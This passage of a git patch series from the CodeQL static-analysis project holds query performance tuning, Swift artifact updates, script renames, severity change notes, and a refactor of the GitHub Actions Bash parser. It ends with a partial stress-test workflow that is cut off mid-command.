SCAN `AVRule79::exprReleases/3#e849cdd3#prev_delta` OUTPUT In.1, In.2 85855 ~0% {2} r2 = JOIN r1 WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 115767 ~6% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333369 ~18% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 266264 ~204% {2} | JOIN WITH `Access::Access.getTarget/0#dispred#cf25c8aa` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 16379 ~21% {3} | JOIN WITH `Function::Function.getParameter/1#dispred#200dcf26_201#join_rhs` ON FIRST 1 OUTPUT Rhs.2, Lhs.1, Rhs.1 13117819221 ~0% {4} r3 = JOIN r2 WITH `Call::Call.getArgument/1#dispred#ada436ba_102#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1, Rhs.2 10477 ~3% {3} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5` ON FIRST 2 OUTPUT Lhs.0, Lhs.3, Lhs.2 13117819221 ~1% {4} r4 = JOIN r2 WITH `Call::Call.getArgument/1#dispred#ada436ba_102#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.2, Rhs.2 13022632157 ~1% {5} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1, Lhs.0, Lhs.3 3720 ~70% {3} | JOIN WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus` ON FIRST 2 OUTPUT Lhs.3, Lhs.4, Lhs.2 115767 ~6% {2} r5 = JOIN r1 WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333367 ~20% {3} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, _, Lhs.1 333367 ~12% {3} | REWRITE WITH Out.1 := 85 4 ~0% {2} | JOIN WITH exprs ON FIRST 2 OUTPUT Lhs.0, Lhs.2 4 ~100% {2} | JOIN WITH `Expr::Expr.getEnclosingFunction/0#dispred#3960f06c` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r6 = JOIN r5 WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r7 = JOIN r5 WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus#swapped` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r8 = r6 UNION r7 0 ~0% {3} | JOIN WITH `Call::Call.getQualifier/0#dispred#7d175544` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.0 0 ~0% {3} | JOIN WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Lhs.2, Rhs.1, Lhs.1 14197 ~18% {3} r9 = r3 UNION r4 UNION r8 12615 ~3% {3} | AND NOT `AVRule79::exprReleases/3#e849cdd3#prev`(FIRST 3) return r9 ``` After: ``` Pipeline standard for AVRule79::exprReleases/3#e849cdd3@13dead04 was evaluated in 5 iterations totaling 68ms (delta sizes total: 12551). 85855 ~0% {2} r1 = SCAN `AVRule79::exprReleases/3#e849cdd3#prev_delta` OUTPUT In.1, In.2 85855 ~0% {2} r2 = JOIN r1 WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 115767 ~6% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333443 ~18% {2} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 265872 ~204% {2} | JOIN WITH `Access::Access.getTarget/0#dispred#cf25c8aa` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 16399 ~27% {3} | JOIN WITH `Function::Function.getParameter/1#dispred#200dcf26_201#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Rhs.2 10489 ~1% {3} r3 = JOIN r2 WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1 1558 ~80% {3} r4 = JOIN r2 WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus#swapped` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.2 2196 ~7% {3} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.2, Lhs.1 12685 ~3% {3} r5 = r3 UNION r4 12581 ~3% {3} | JOIN WITH `Call::Call.getArgument/1#dispred#ada436ba` ON FIRST 2 OUTPUT Lhs.0, Rhs.2, Lhs.2 115767 ~6% {2} r6 = JOIN r1 WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 333443 ~20% {3} | JOIN WITH `ASTValueNumbering::GVN.getAnExpr/0#dispred#a14f45bf` ON FIRST 1 OUTPUT Rhs.1, _, Lhs.1 333443 ~12% {3} | REWRITE WITH Out.1 := 85 4 ~0% {2} | JOIN WITH exprs ON FIRST 2 OUTPUT Lhs.0, Lhs.2 4 ~100% {2} | JOIN WITH `Expr::Expr.getEnclosingFunction/0#dispred#3960f06c` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r7 = JOIN r6 WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r8 = JOIN r6 WITH `#MemberFunction::MemberFunction.getAnOverridingFunction/0#dispred#a6e65b9ePlus#swapped` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} | JOIN WITH `Call::FunctionCall.getTarget/0#dispred#935da4c5_10#join_rhs` ON FIRST 1 OUTPUT Rhs.1, Lhs.1 0 ~0% {2} r9 = r7 UNION r8 0 ~0% {3} | JOIN WITH `Call::Call.getQualifier/0#dispred#7d175544` ON FIRST 1 OUTPUT Rhs.1, Lhs.1, Lhs.0 0 ~0% {3} | JOIN WITH `AVRule79::exprOrDereference/1#c20425a1_10#join_rhs` ON FIRST 1 OUTPUT Lhs.2, Rhs.1, Lhs.1 12581 ~3% {3} r10 = r5 UNION r9 12576 ~3% {3} | AND NOT `AVRule79::exprReleases/3#e849cdd3#prev`(FIRST 3) return r10 ``` --- cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql index 8575a431042..85b779903eb 100644 --- a/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql +++ b/cpp/ql/src/jsf/4.10 Classes/AV Rule 79.ql @@ -98,8 +98,8 @@ private predicate exprReleases(Expr e, Expr released, string kind) { e.(FunctionCall).getTarget() = f or e.(FunctionCall).getTarget().(MemberFunction).getAnOverridingFunction+() = f ) and - access = f.getParameter(arg).getAnAccess() and - e.(FunctionCall).getArgument(arg) = released and + access = f.getParameter(pragma[only_bind_into](arg)).getAnAccess() and + e.(FunctionCall).getArgument(pragma[only_bind_into](arg)) = released and exprReleases(_, pragma[only_bind_into](exprOrDereference(globalValueNumber(access).getAnExpr())), kind) ) From 1f7a6ba5385341038ddb8354bd9470e04700c546 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 6 Jun 2025 11:18:21 +0200 Subject: [PATCH 185/271] Swift: Update LFS --- swift/third_party/load.bzl | 4 ---- swift/third_party/resources/resource-dir-linux.zip | 4 ++-- swift/third_party/resources/resource-dir-macos.zip | 4 ++-- swift/third_party/resources/swift-prebuilt-linux.tar.zst | 4 ++-- swift/third_party/resources/swift-prebuilt-macos.tar.zst | 4 ++-- 5 files changed, 8 insertions(+), 12 deletions(-) diff --git a/swift/third_party/load.bzl b/swift/third_party/load.bzl index a61e1ebd289..d19345a1880 100644 --- a/swift/third_party/load.bzl +++ b/swift/third_party/load.bzl @@ -5,10 +5,6 @@ load("//misc/bazel:lfs.bzl", "lfs_archive", "lfs_files") _override = { # these are used to test new artifacts. Must be empty before merging to main - "swift-prebuilt-macOS-swift-6.1.2-RELEASE-109.tar.zst": "417c018d9aea00f9e33b26a3853ae540388276e6e4d02ef81955b2794b3a6152", - "swift-prebuilt-Linux-swift-6.1.2-RELEASE-109.tar.zst": "abc83ba5ca0c7009714593c3c875f29510597e470bac0722b3357a78880feee4", - "resource-dir-macOS-swift-6.1.2-RELEASE-116.zip": "9a22d9a4563ea0ad0b5051a997850d425d61ba5219ac35e9994d9a2f40a82f42", - "resource-dir-Linux-swift-6.1.2-RELEASE-116.zip": "f6c681b4e1d92ad848d35bf75c41d3e33474d45ce5f270cd814d879ca8fe8511", } _staging_url = "https://github.com/dsp-testing/codeql-swift-artifacts/releases/download/staging-{}/{}" diff --git a/swift/third_party/resources/resource-dir-linux.zip b/swift/third_party/resources/resource-dir-linux.zip index e09b73863e5..251b0ca7fb6 100644 --- a/swift/third_party/resources/resource-dir-linux.zip +++ b/swift/third_party/resources/resource-dir-linux.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:1e00a730a93b85a5ba478590218e1f769792ec56501977cc72d941101c5c3657 -size 293644020 +oid sha256:f6c681b4e1d92ad848d35bf75c41d3e33474d45ce5f270cd814d879ca8fe8511 +size 291469999 diff --git a/swift/third_party/resources/resource-dir-macos.zip b/swift/third_party/resources/resource-dir-macos.zip index aaacc64a9e8..678fb09a8b7 100644 --- a/swift/third_party/resources/resource-dir-macos.zip +++ b/swift/third_party/resources/resource-dir-macos.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:84e34d6af45883fe6d0103c2f36bbff3069ac068e671cb62d0d01d16e087362d -size 595760699 +oid sha256:9a22d9a4563ea0ad0b5051a997850d425d61ba5219ac35e9994d9a2f40a82f42 +size 593013753 diff --git a/swift/third_party/resources/swift-prebuilt-linux.tar.zst b/swift/third_party/resources/swift-prebuilt-linux.tar.zst index 206ea6adb4d..6efea347586 100644 --- a/swift/third_party/resources/swift-prebuilt-linux.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-linux.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:31cba2387c7e1ce4e73743935b0db65ea69fccf5c07bd2b392fd6815f5dffca5 -size 124428345 +oid sha256:abc83ba5ca0c7009714593c3c875f29510597e470bac0722b3357a78880feee4 +size 124406561 diff --git a/swift/third_party/resources/swift-prebuilt-macos.tar.zst b/swift/third_party/resources/swift-prebuilt-macos.tar.zst index bcbc7aaf412..ca29f3ebd3f 100644 --- a/swift/third_party/resources/swift-prebuilt-macos.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-macos.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:2aaf6e7083c27a561d7212f88b3e15cbeb2bdf1d2363d310227d278937a4c2c9 -size 104357336 +oid sha256:417c018d9aea00f9e33b26a3853ae540388276e6e4d02ef81955b2794b3a6152 +size 104344626 From d6d13b9164aaa9119e595024c5894574f68c8745 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 6 Jun 2025 17:11:08 +0200 Subject: [PATCH 186/271] MaD generator: use `decompress` terminology instead of `extract` --- .../scripts/models-as-data/bulk_generate_mad.py | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 6f874b99899..fe47cf7177b 100755 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -360,8 +360,7 @@ def download_dca_databases( artifact_map[pretty_name] = analyzed_database - def download_and_extract(item: tuple[str, dict]) -> str: - pretty_name, analyzed_database = item + def download_and_decompress(analyzed_database: dict) -> str: artifact_name = analyzed_database["artifact_name"] repository = analyzed_database["repository"] run_id = analyzed_database["run_id"] @@ -378,7 +377,7 @@ def download_dca_databases( artifact_zip_location = download_artifact( archive_download_url, artifact_name, pat ) - print(f"=== Extracting artifact: {artifact_name} ===") + print(f"=== Decompressing artifact: {artifact_name} ===") # The database is in a zip file, which contains a tar.gz file with the DB # First we open the zip file with zipfile.ZipFile(artifact_zip_location, "r") as zip_ref: @@ -396,21 +395,21 @@ def download_dca_databases( # And we just untar it to the same directory as the zip file tar_ref.extractall(artifact_unzipped_location) ret = os.path.join(artifact_unzipped_location, language) - print(f"Extraction complete: {ret}") + print(f"Decompression complete: {ret}") return ret results = run_in_parallel( - download_and_extract, - list(artifact_map.items()), - on_error=lambda item, exc: print( - f"ERROR: Failed to download database for {item[0]}: {exc}" + download_and_decompress, + list(artifact_map.values()), + on_error=lambda db, exc: print( + f"ERROR: Failed to download and decompress {db["artifact_name"]}: {exc}" ), error_summary=lambda failures: print( f"ERROR: Failed to download {len(failures)} databases: {', '.join(item[0] for item in failures)}" ), ) - print(f"\n=== Extracted {len(results)} databases ===") + print(f"\n=== Fetched {len(results)} databases ===") return [(project_map[n], r) for n, r in zip(artifact_map, results)] From 53a6133e6f204446962fbb98fda3773d0e260079 Mon Sep 17 00:00:00 2001 From: Chad Bentz <1760475+felickz@users.noreply.github.com> Date: Fri, 6 Jun 2025 12:23:59 -0400 Subject: [PATCH 187/271] Add change-notes for csharp/java/swift --- .../2025-06-06-reduce-CWE-134-for-memory-safe-languages.md | 4 ++++ .../2025-06-06-reduce-CWE-134-for-memory-safe-languages.md | 4 ++++ .../2025-06-06-reduce-CWE-134-for-memory-safe-languages.md | 4 ++++ 3 files changed, 12 insertions(+) create mode 100644 csharp/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md create mode 100644 java/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md create mode 100644 swift/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md diff --git a/csharp/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md b/csharp/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md new file mode 100644 index 00000000000..60006391ac6 --- /dev/null +++ b/csharp/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md @@ -0,0 +1,4 @@ +--- +category: queryMetadata +--- +* Adjusts the `@security-severity` from 9.3 to 7.3 for `cs/uncontrolled-format-string` to align `CWE-134` severity for memory safe languages to better reflect their impact. diff --git a/java/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md b/java/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md new file mode 100644 index 00000000000..0aadb06a32b --- /dev/null +++ b/java/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md @@ -0,0 +1,4 @@ +--- +category: queryMetadata +--- +* Adjusts the `@security-severity` from 9.3 to 7.3 for `java/tainted-format-string` to align `CWE-134` severity for memory safe languages to better reflect their impact. diff --git a/swift/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md b/swift/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md new file mode 100644 index 00000000000..799093d0b39 --- /dev/null +++ b/swift/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md @@ -0,0 +1,4 @@ +--- +category: queryMetadata +--- +* Adjusts the `@security-severity` from 9.3 to 7.3 for `swift/uncontrolled-format-string` to align `CWE-134` severity for memory safe languages to better reflect their impact. From 42f762a140a871f4261ba4829b9d18858c833549 Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 9 Jun 2025 16:22:30 +0200 Subject: [PATCH 188/271] JS: Update test output now that 'satisfies' is a SourceNode --- javascript/ql/test/library-tests/DataFlow/tests.expected | 1 + 1 file changed, 1 insertion(+) diff --git a/javascript/ql/test/library-tests/DataFlow/tests.expected b/javascript/ql/test/library-tests/DataFlow/tests.expected index e3f6073461a..26ba8c46a99 100644 --- a/javascript/ql/test/library-tests/DataFlow/tests.expected +++ b/javascript/ql/test/library-tests/DataFlow/tests.expected @@ -1523,6 +1523,7 @@ sources | tst2.ts:13:39:13:38 | super(...args) | | tst2.ts:13:39:13:38 | this | | tst2.ts:15:11:15:13 | A.x | +| tst2.ts:15:11:15:30 | A.x satisfies number | | tst.js:1:1:1:0 | this | | tst.js:1:1:1:24 | import ... m 'fs'; | | tst.js:1:10:1:11 | fs | From 39e710e805c60fbd231d6eb511f9b3de8b90e8f6 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Mon, 9 Jun 2025 08:37:37 -0700 Subject: [PATCH 189/271] Actions: Refactor logic for identifying command substitution Extract helper predicates for `$(...)` command interpolation and backtick-quoted commands. Add some doc comments and meaningful variable names. --- actions/ql/lib/codeql/actions/Bash.qll | 68 ++++++++++++++++++-------- 1 file changed, 47 insertions(+), 21 deletions(-) diff --git a/actions/ql/lib/codeql/actions/Bash.qll b/actions/ql/lib/codeql/actions/Bash.qll index 4519a8949d7..e5403c5fda7 100644 --- a/actions/ql/lib/codeql/actions/Bash.qll +++ b/actions/ql/lib/codeql/actions/Bash.qll @@ -8,29 +8,55 @@ class BashShellScript extends ShellScript { ) } - private string lineProducer(int i) { - result = this.getRawScript().regexpReplaceAll("\\\\\\s*\n", "").splitAt("\n", i) + /** + * Gets the line at 0-based index `lineIndex` within this shell script, + * assuming newlines as separators. + */ + private string lineProducer(int lineIndex) { + result = this.getRawScript().regexpReplaceAll("\\\\\\s*\n", "").splitAt("\n", lineIndex) } - private predicate cmdSubstitutionReplacement(string cmdSubs, string id, int k) { - exists(string line | line = this.lineProducer(k) | - exists(int i, int j | - cmdSubs = - // $() cmd substitution - line.regexpFind("\\$\\((?:[^()]+|\\((?:[^()]+|\\([^()]*\\))*\\))*\\)", i, j) - .regexpReplaceAll("^\\$\\(", "") - .regexpReplaceAll("\\)$", "") and - id = "cmdsubs:" + k + ":" + i + ":" + j - ) - or - exists(int i, int j | - // `...` cmd substitution - cmdSubs = - line.regexpFind("\\`[^\\`]+\\`", i, j) - .regexpReplaceAll("^\\`", "") - .regexpReplaceAll("\\`$", "") and - id = "cmd:" + k + ":" + i + ":" + j - ) + private predicate cmdSubstitutionReplacement(string command, string id, int lineIndex) { + this.commandInSubstitution(lineIndex, command, id) + or + this.commandInBackticks(lineIndex, command, id) + } + + /** + * Holds if there is a command substitution `$(command)` in + * the line at `lineIndex` in the shell script, + * and `id` is a unique identifier for this command. + */ + private predicate commandInSubstitution(int lineIndex, string command, string id) { + exists(int occurrenceIndex, int occurrenceOffset | + command = + // Look for the command inside a $(...) command substitution + this.lineProducer(lineIndex) + .regexpFind("\\$\\((?:[^()]+|\\((?:[^()]+|\\([^()]*\\))*\\))*\\)", occurrenceIndex, + occurrenceOffset) + // trim starting $( - TODO do this in first regex + .regexpReplaceAll("^\\$\\(", "") + // trim ending ) - TODO do this in first regex + .regexpReplaceAll("\\)$", "") and + id = "cmdsubs:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset + ) + } + + /** + * Holds if `command` is a command in backticks `` `...` `` in + * the line at `lineIndex` in the shell script, + * and `id` is a unique identifier for this command. + */ + private predicate commandInBackticks(int lineIndex, string command, string id) { + exists(int occurrenceIndex, int occurrenceOffset | + command = + this.lineProducer(lineIndex) + .regexpFind("\\`[^\\`]+\\`", occurrenceIndex, occurrenceOffset) + // trim leading backtick - TODO do this in first regex + .regexpReplaceAll("^\\`", "") + // trim trailing backtick - TODO do this in first regex + .regexpReplaceAll("\\`$", "") and + id = "cmd:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset ) } From 321513c89bab2e2fbcc8580950fdd36deadbe793 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Mon, 9 Jun 2025 08:39:56 -0700 Subject: [PATCH 190/271] Actions: Order command substitutions by their ID, not text In the Bash parser, we compute a mostly-unique ID for each command substitution within a shell script block. Commands are then ranked and referred to individually. Avoid a performance bottleneck by ranking commands by their ID, not by their source text. I think this was the original intent of the code. Ranking by their original text ends up evaluating multiple possible orderings, which is slow on workflows that contain multiple complex command substitutions. --- actions/ql/lib/codeql/actions/Bash.qll | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/actions/ql/lib/codeql/actions/Bash.qll b/actions/ql/lib/codeql/actions/Bash.qll index e5403c5fda7..48fc348fff8 100644 --- a/actions/ql/lib/codeql/actions/Bash.qll +++ b/actions/ql/lib/codeql/actions/Bash.qll @@ -60,9 +60,12 @@ class BashShellScript extends ShellScript { ) } - private predicate rankedCmdSubstitutionReplacements(int i, string old, string new) { - old = rank[i](string old2 | this.cmdSubstitutionReplacement(old2, _, _) | old2) and - this.cmdSubstitutionReplacement(old, new, _) + private predicate rankedCmdSubstitutionReplacements(int i, string command, string commandId) { + // rank commands by their unique IDs + commandId = rank[i](string c, string id | this.cmdSubstitutionReplacement(c, id, _) | id) and + // since we cannot output (command, ID) tuples from the rank operation, + // we need to work out the specific command associated with the resulting ID + this.cmdSubstitutionReplacement(command, commandId, _) } private predicate doReplaceCmdSubstitutions(int line, int round, string old, string new) { From 9f60335b66759ed9a23e28412ea3d4235dde7c54 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Mon, 9 Jun 2025 08:47:46 -0700 Subject: [PATCH 191/271] CI: Expand list of packs/languages for change note validation --- .github/workflows/validate-change-notes.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/validate-change-notes.yml b/.github/workflows/validate-change-notes.yml index 3c83ffa709a..42784b661fc 100644 --- a/.github/workflows/validate-change-notes.yml +++ b/.github/workflows/validate-change-notes.yml @@ -31,4 +31,4 @@ jobs: - name: Fail if there are any errors with existing change notes run: | - codeql pack release --groups cpp,csharp,java,javascript,python,ruby,-examples,-test,-experimental + codeql pack release --groups actions,cpp,csharp,go,java,javascript,python,ruby,shared,swift -examples,-test,-experimental From fbe11cfca63b4a7417a81cf2058e3d7aa3e82d12 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Mon, 9 Jun 2025 08:43:24 -0700 Subject: [PATCH 192/271] Actions: Refactor logic for identifying quoted strings Add some doc comments and meaningful variable names. --- actions/ql/lib/codeql/actions/Bash.qll | 52 ++++++++++++++++++-------- 1 file changed, 37 insertions(+), 15 deletions(-) diff --git a/actions/ql/lib/codeql/actions/Bash.qll b/actions/ql/lib/codeql/actions/Bash.qll index 48fc348fff8..9d2fb867d48 100644 --- a/actions/ql/lib/codeql/actions/Bash.qll +++ b/actions/ql/lib/codeql/actions/Bash.qll @@ -93,23 +93,45 @@ class BashShellScript extends ShellScript { this.cmdSubstitutionReplacement(result, _, i) } + /** + * Holds if `quotedStr` is a string in double quotes in + * the line at `lineIndex` in the shell script, + * and `id` is a unique identifier for this quoted string. + */ + private predicate doubleQuotedString(int lineIndex, string quotedStr, string id) { + exists(int occurrenceIndex, int occurrenceOffset | + // double quoted string + quotedStr = + this.cmdSubstitutedLineProducer(lineIndex) + .regexpFind("\"((?:[^\"\\\\]|\\\\.)*)\"", occurrenceIndex, occurrenceOffset) and + id = + "qstr:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset + ":" + + quotedStr.length() + ":" + quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "") + ) + } + + /** + * Holds if `quotedStr` is a string in single quotes in + * the line at `lineIndex` in the shell script, + * and `id` is a unique identifier for this quoted string. + */ + private predicate singleQuotedString(int lineIndex, string quotedStr, string id) { + exists(int occurrenceIndex, int occurrenceOffset | + // single quoted string + quotedStr = + this.cmdSubstitutedLineProducer(lineIndex) + .regexpFind("'((?:\\\\.|[^'\\\\])*)'", occurrenceIndex, occurrenceOffset) and + id = + "qstr:" + lineIndex + ":" + occurrenceIndex + ":" + occurrenceOffset + ":" + + quotedStr.length() + ":" + quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "") + ) + } + private predicate quotedStringReplacement(string quotedStr, string id) { - exists(string line, int k | line = this.cmdSubstitutedLineProducer(k) | - exists(int i, int j | - // double quoted string - quotedStr = line.regexpFind("\"((?:[^\"\\\\]|\\\\.)*)\"", i, j) and - id = - "qstr:" + k + ":" + i + ":" + j + ":" + quotedStr.length() + ":" + - quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "") - ) + exists(int lineIndex | + this.doubleQuotedString(lineIndex, quotedStr, id) or - exists(int i, int j | - // single quoted string - quotedStr = line.regexpFind("'((?:\\\\.|[^'\\\\])*)'", i, j) and - id = - "qstr:" + k + ":" + i + ":" + j + ":" + quotedStr.length() + ":" + - quotedStr.regexpReplaceAll("[^a-zA-Z0-9]", "") - ) + this.singleQuotedString(lineIndex, quotedStr, id) ) and // Only do this for strings that might otherwise disrupt subsequent parsing quotedStr.regexpMatch("[\"'].*[$\n\r'\"" + Bash::separator() + "].*[\"']") From 848064e95a99aa835a6cedc823a88d2360f89d20 Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Mon, 9 Jun 2025 08:44:17 -0700 Subject: [PATCH 193/271] Actions: Order quoted strings by their ID, not text In the Bash parser, we compute a mostly-unique ID for each quoted string within a shell script block. Quoted strings are then ranked and referred to individually. Avoid a performance bottleneck by ranking quoted strings by their ID, not by their source text. I think this was the original intent of the code. Ranking by their original text ends up evaluating multiple possible orderings, which is slow on workflows that contain multiple complex quoted strings, such as JSON payloads. --- actions/ql/lib/codeql/actions/Bash.qll | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/actions/ql/lib/codeql/actions/Bash.qll b/actions/ql/lib/codeql/actions/Bash.qll index 9d2fb867d48..4975ce6f4cc 100644 --- a/actions/ql/lib/codeql/actions/Bash.qll +++ b/actions/ql/lib/codeql/actions/Bash.qll @@ -137,9 +137,12 @@ class BashShellScript extends ShellScript { quotedStr.regexpMatch("[\"'].*[$\n\r'\"" + Bash::separator() + "].*[\"']") } - private predicate rankedQuotedStringReplacements(int i, string old, string new) { - old = rank[i](string old2 | this.quotedStringReplacement(old2, _) | old2) and - this.quotedStringReplacement(old, new) + private predicate rankedQuotedStringReplacements(int i, string quotedString, string quotedStringId) { + // rank quoted strings by their nearly-unique IDs + quotedStringId = rank[i](string s, string id | this.quotedStringReplacement(s, id) | id) and + // since we cannot output (string, ID) tuples from the rank operation, + // we need to work out the specific string associated with the resulting ID + this.quotedStringReplacement(quotedString, quotedStringId) } private predicate doReplaceQuotedStrings(int line, int round, string old, string new) { From 2ecbecbd4b39cbd9ecef1af98442b273baa7a6ff Mon Sep 17 00:00:00 2001 From: Aditya Sharad Date: Mon, 9 Jun 2025 09:29:12 -0700 Subject: [PATCH 194/271] Actions: Add stress test for complex command and string interpolation Anonymised version of a customer report that led to performance bottlenecks in Bash parsing. No results are expected from both query and library tests. --- .../.github/workflows/interpolation.yml | 81 +++++++++++++++++++ 1 file changed, 81 insertions(+) create mode 100644 actions/ql/test/query-tests/Security/CWE-094/.github/workflows/interpolation.yml diff --git a/actions/ql/test/query-tests/Security/CWE-094/.github/workflows/interpolation.yml b/actions/ql/test/query-tests/Security/CWE-094/.github/workflows/interpolation.yml new file mode 100644 index 00000000000..2b719a3a38a --- /dev/null +++ b/actions/ql/test/query-tests/Security/CWE-094/.github/workflows/interpolation.yml @@ -0,0 +1,81 @@ +name: Workflow with complex interpolation +on: + workflow_dispatch: + inputs: + choice-a: + required: true + type: choice + description: choice-a + default: a1 + options: + - a1 + - a2 + - a3 + string-b: + required: false + type: string + description: string-b + string-c: + required: false + type: string + description: string-c + list-d: + required: true + type: string + default: d1 d2 + description: list-d whitespace separated + list-e: + required: false + type: string + description: list-e whitespace separated + choice-f: + required: true + type: choice + description: choice-f + options: + - false + - true + +env: + DRY_TEST: false + B: ${{ github.event.inputs.string-b }} + +jobs: + job: + runs-on: ubuntu-latest + steps: + - name: Produce values + id: produce-values + run: | + echo "region=region" >> $GITHUB_OUTPUT + echo "zone=zone" >> $GITHUB_OUTPUT + + - name: Step with complex interpolation + id: complex + env: + CHOICE_A: ${{ github.event.inputs.choice-a }} + STRING_B: ${{ github.event.inputs.string-b }} + STRING_C: ${{ github.event.inputs.string-c }} + LIST_D: ${{ github.event.inputs.list-d }} + LIST_E: ${{ github.event.inputs.list-e }} + CHOICE_F: ${{ github.event.inputs.choice-f }} + REGION: ${{ steps.produce-values.outputs.region }} + ZONE: ${{ steps.produce-values.outputs.zone }} + DRY_TEST_JSON: ${{ fromJSON(env.DRY_TEST) }} + FUNCTION_NAME: my-function + USER_EMAIL: 'example@example.com' + TYPE: type + RANGE: '0-100' + + run: | + comma_separated_list_d=$(echo "${LIST_D}" | sed "s/ /\",\"/g") + comma_separated_list_e=$(echo "${LIST_E}" | sed "s/ /\",\"/g") + c1=$(echo "${STRING_C}" | cut -d "-" -f 